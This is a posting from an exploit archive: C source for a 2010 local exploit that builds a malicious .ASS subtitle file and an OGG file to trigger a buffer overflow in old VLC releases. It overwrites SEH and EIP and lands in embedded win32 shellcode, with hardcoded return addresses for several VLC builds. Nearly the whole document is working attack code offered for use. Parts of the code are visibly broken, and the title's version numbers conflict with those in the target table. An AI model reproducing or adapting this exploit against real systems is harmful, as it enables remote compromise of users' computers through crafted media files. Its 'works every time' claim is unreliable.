Author

fl0 fl0w

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-10129

Category

local exploits

Date add

17-01-2010

Platform

unsorted

=============================================================================
VLC vs 0.6.8 [b][c][d][a] .ASS file buffer overflow exploit (win32 universal)
=============================================================================

/*[%]VLC vs 0.6.8 [b][c][d][a] .ASS file buffer overflow exploit(win32 universal)
  [%]Works every time,works on any win32 OS,tested on Windows xp sp2.
   
  [%]My doctor said that I have seriuouse problems ,but I think he's full of it
     because the voices tell me I'm ok!*/
#include<stdio.h>
#include<string.h>
#include<stdint.h>
 
#define File            "subtitle666.ass"
#define OGGfile         "openme.ogg"
#define IF(x,NULL)      if(x==NULL)
#define FOR(i,a,b)      for(i=a;i<b;++i)
#define WHILE(z)        while(z>0)
#define is_bigendian()  ((*(char*)&i)==0)
#define EIP_OFFSET      163852
#define SEH_OFFSET      165248
#define NEXTSEH_OFFSET  165244  
/*-------------prototypes---------*/
   //100% working shellcode
   char vlcshellcode[]=
   {
        "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3d"
        "\xba\xb1\xd9\x83\xeb\xfc\xe2\xf4\xc1\x52\xf5\xd9\x3d\xba\x3a\x9c"
        "\x01\x31\xcd\xdc\x45\xbb\x5e\x52\x72\xa2\x3a\x86\x1d\xbb\x5a\x90"
        "\xb6\x8e\x3a\xd8\xd3\x8b\x71\x40\x91\x3e\x71\xad\x3a\x7b\x7b\xd4"
        "\x3c\x78\x5a\x2d\x06\xee\x95\xdd\x48\x5f\x3a\x86\x19\xbb\x5a\xbf"
        "\xb6\xb6\xfa\x52\x62\xa6\xb0\x32\xb6\xa6\x3a\xd8\xd6\x33\xed\xfd"
        "\x39\x79\x80\x19\x59\x31\xf1\xe9\xb8\x7a\xc9\xd5\xb6\xfa\xbd\x52"
        "\x4d\xa6\x1c\x52\x55\xb2\x5a\xd0\xb6\x3a\x01\xd9\x3d\xba\x3a\xb1"
        "\x01\xe5\x80\x2f\x5d\xec\x38\x21\xbe\x7a\xca\x89\x55\xc4\x69\x3b"
        "\x4e\xd2\x29\x27\xb7\xb4\xe6\x26\xda\xd9\xd0\xb5\x5e\xba\xb1\xd9"
   };     
   char data[]=
   {
        "[Script Info]\n"
        "; Script generated by Aegisub\n"
        "; http://www.aegisub.net\n"
        "Title: Neon Genesis Evangelion - Episode 26 (neutral Spanish)\n"
        "Original Script: RoRo\n"
        "Script Updated By: version 2.8.01\n"
        "ScriptType: v4.00+\n"
        "Collisions: Normal\n"
        "PlayResY: 600\n"
        "PlayDepth: 0\n"
        "Timer: 100,0000\n"
        "Video Aspect Ratio: 0\n"
        "Video Zoom: 6\n"
        "Video Position: 0\n"
        "[V4+ Styles]\n"
        "Format: Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, OutlineColour, BackColour, Bold, Italic, Underline, StrikeOut, ScaleX, ScaleY, Spacing, Angle, BorderStyle, Outline, Shadow, Alignment, MarginL, MarginR, MarginV, Encoding\n"
        "Style: DefaultVCD, Arial,28,&H00B4FCFC,&H00B4FCFC,&H00000008,&H80000008,-1,0,0,0,100,100,0.00,0.00,1,1.00,2.00,2,30,30,30,0\n"
        "[Events]\n"
        "Format: Layer, Start, End, Style, Name, MarginL, MarginR, MarginV, Effect, Text\n"
        "Dialogue:" 
        "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" //165254 junk bytes to cause exception
   };        
   char banner[]=
   {
        "******************************************************************\n"
        "       VLC 0.6.8x Buffer overflow exploit(win32 universal)      *\n"  
        "                                                                 *\n"      
        "                          by fl0 fl0w                            *\n"
        "******************************************************************\n"
   }; 
   char arguments[]=
   {
        "---------------------------\n"
        "Too few args!              \n"
        "sploit.exe [target 1/2/3/4]\n"
        "---------------------------\n"
   };
    
    // data + 165254 nop + shellcode + szJMP(strcat)
  /*--------extern variables----------*/
     char b[1000000];
     char c[1000000];
     char d[1000000];
     char f[1000000]; //1402 bytes nop
     char seh[]="\x87\x75\x40\x4B"; 
     char nseh[]="\x38\xFA\x74\x02";
     int i;
     int input;
     char bf[4];
     int t;
      
 /*-------prototypes----------*/
     int buildF();
     int cpy(unsigned int,char*);
     void print(char*);
     void gen_random(char*, const int);
     unsigned int getFsize(FILE*,char*);
     int cpystr(char* dest,int,int);
     int oggf(char* fname);
     int Targetprint();
      
 /*--------ogg file format---------*/   
    typedef struct aa
    {  //28 bytes or 224 bits
     uint32_t   Cp;    // Capture pattern &#65533; 32 bits          
     uint8_t    Ver;    // Version &#65533; 8 bits
     uint8_t    H;    // Header type &#65533; 8 bits
     uint64_t   Gp;   //  Granule position &#65533; 64 bits
     uint32_t   Bsn;  //   Bitstream serial number &#65533; 32 bits
     uint32_t   Psn;  //   Page sequence number &#65533; 32 bits
     uint32_t   C;    // Checksum &#65533; 32 bits
     uint8_t    Ps;    // Page segments &#65533; 8 bits
     uint8_t    St;    // Segment table 8 bit
    }ogg;
/*------targets------------*/
     struct
     {
          unsigned int eip;
          char* etype; 
     }RET[]=
     {
     {
         0x026DFA38,
         "VLC 0.8.6       c"
     },
     {
         0x0263FA38,
         "VLC 0.8.6     b,d"
     },
     {
         0x0267FA38,
         "VLC 0.8.6       a"
     },
     {
         0x0267FA38,
         "VLC 0.8.6 b test1"
     },
     {
         0x02B6FA38,
         "VLC 0.8.6     RC1"
     },
     {
         NULL,NULL
     }
     };             
/*------main--------*/
    int main(int argc,char* argv[])
    {
          if(argc<2)
          {
           system("CLS");
            
           printf("%s%s",banner,arguments);
            
           Targetprint();exit(0);
           }
            
            input=atoi(argv[1]);          
           
            switch(input)
            {
                   case 0:
                   reverseInt(RET[0].eip);    
                   cpy(RET[0].eip,bf);      
                   break;
                    
                   case 1:
                   reverseInt(RET[1].eip);    
                   cpy(RET[1].eip,bf);
                   break;
                                  
                   case 2:
                   reverseInt(RET[2].eip);    
                   cpy(RET[2].eip,bf);
                   break;
                                         
                   case 3:
                   reverseInt(RET[3].eip);    
                   cpy(RET[3].eip,bf);
                   break;
                                                
                   case 4:
                   reverseInt(RET[4].eip);    
                   cpy(RET[4].eip,bf);
                   break;
            }
                   printf("[!]Using : %s retaddress\n",RET[input].etype);
                   buildF(b);     oggf(OGGfile);     getchar();
          
        return 0;
    } 
    int buildF(unsigned int retn)
    {
        FILE *f=fopen(File,"wb");  
    
        IF(f,NULL)
        {
         print("File .ass error!"); exit(0);} 
         gen_random(b,165267); /*EIP offset 165267 bytes [EIP][NOP nopoffset=164667 bytes][SHELLCODE nopoffset+nrbytes nop]*/
         memcpy(b+EIP_OFFSET,bf,4);
         memset(b+EIP_OFFSET+4,0x90,10);
         memcpy(b+EIP_OFFSET+4+10,vlcshellcode,strlen(vlcshellcode));
          
         fprintf(f,"%s%s",data,b);   
           
         free(data); fclose(f);
            
         printf("[#]ASS file DONE!\n",getFsize(f,File));
            
         return 0;
    }     
    int oggf(char* fname)
    {
       FILE* g=fopen(fname,"wb");
          IF(g,NULL)
          {
                print("File ogg error");
                exit(0);    
          }
                ogg *W666;
                W666=(ogg*)malloc(sizeof(ogg));
                W666->Cp=0x5367674F;
                W666->Ver=0x00;         
                W666->H=0x02;
                W666->Gp=0x00000000;                
                W666->Bsn=0x000060B8;
                W666->Psn=0x00000000;
                W666->C=0xA403D2F8;
                W666->Ps=0x01;
                W666->St=0x1E;
          
                fwrite(W666,sizeof(W666),9,g);                                              
            
                fclose(g);   
            
                printf("[#]OGG file DONE!\n",getFsize(g,OGGfile)); 
                                     
                return 0;           
    }  
    int cpy(unsigned int source,char* dest)
    {
        int len;
        len=4;
        memcpy(dest,&source,len+1);
        return len;
    }    
    void print(char* msg)
    {
       printf("[*]%s\n",msg);
    }   
   
    void gen_random(char *s, const int len)
    {
      static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
     
      FOR(i,0,len)
      {
        s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
      }
       s[len]=0;
      }
    unsigned int getFsize(FILE* g,char* gname)
    {
             unsigned int s;
             
             g=fopen(gname,"rb");
              
             IF(g,NULL)
             {
             print("File error at reading");
             exit(0);
             }           
             fseek(g,0,SEEK_END);
             s=ftell(g);
              
             return s;
    }
    int reverseInt(unsigned int i)
    {
             unsigned char c1, c2, c3, c4;
      
             if(is_bigendian())
    {
             return i;
    }else
    {
             c1=i&255;
             c2=(i>>8)&255;
             c3=(i>>16)&255;
             c4=(i>>24)&255;
             return((int)c1<<24)+((int)c2<<16)+((int)c3<<8)+c4;
    }
    }
    int cpystr(char* dest,int str,int len)
    {
      memset(dest,str,len+1);
      return len;
    }
    int Targetprint()
    {
        print("Targets are:");
        for(t=0;t<5;t++)
        printf("[!]%s - [0x%d] - %d\n",RET[t].etype,RET[t].eip,t);
    }



#  0day.today [2024-11-14]  #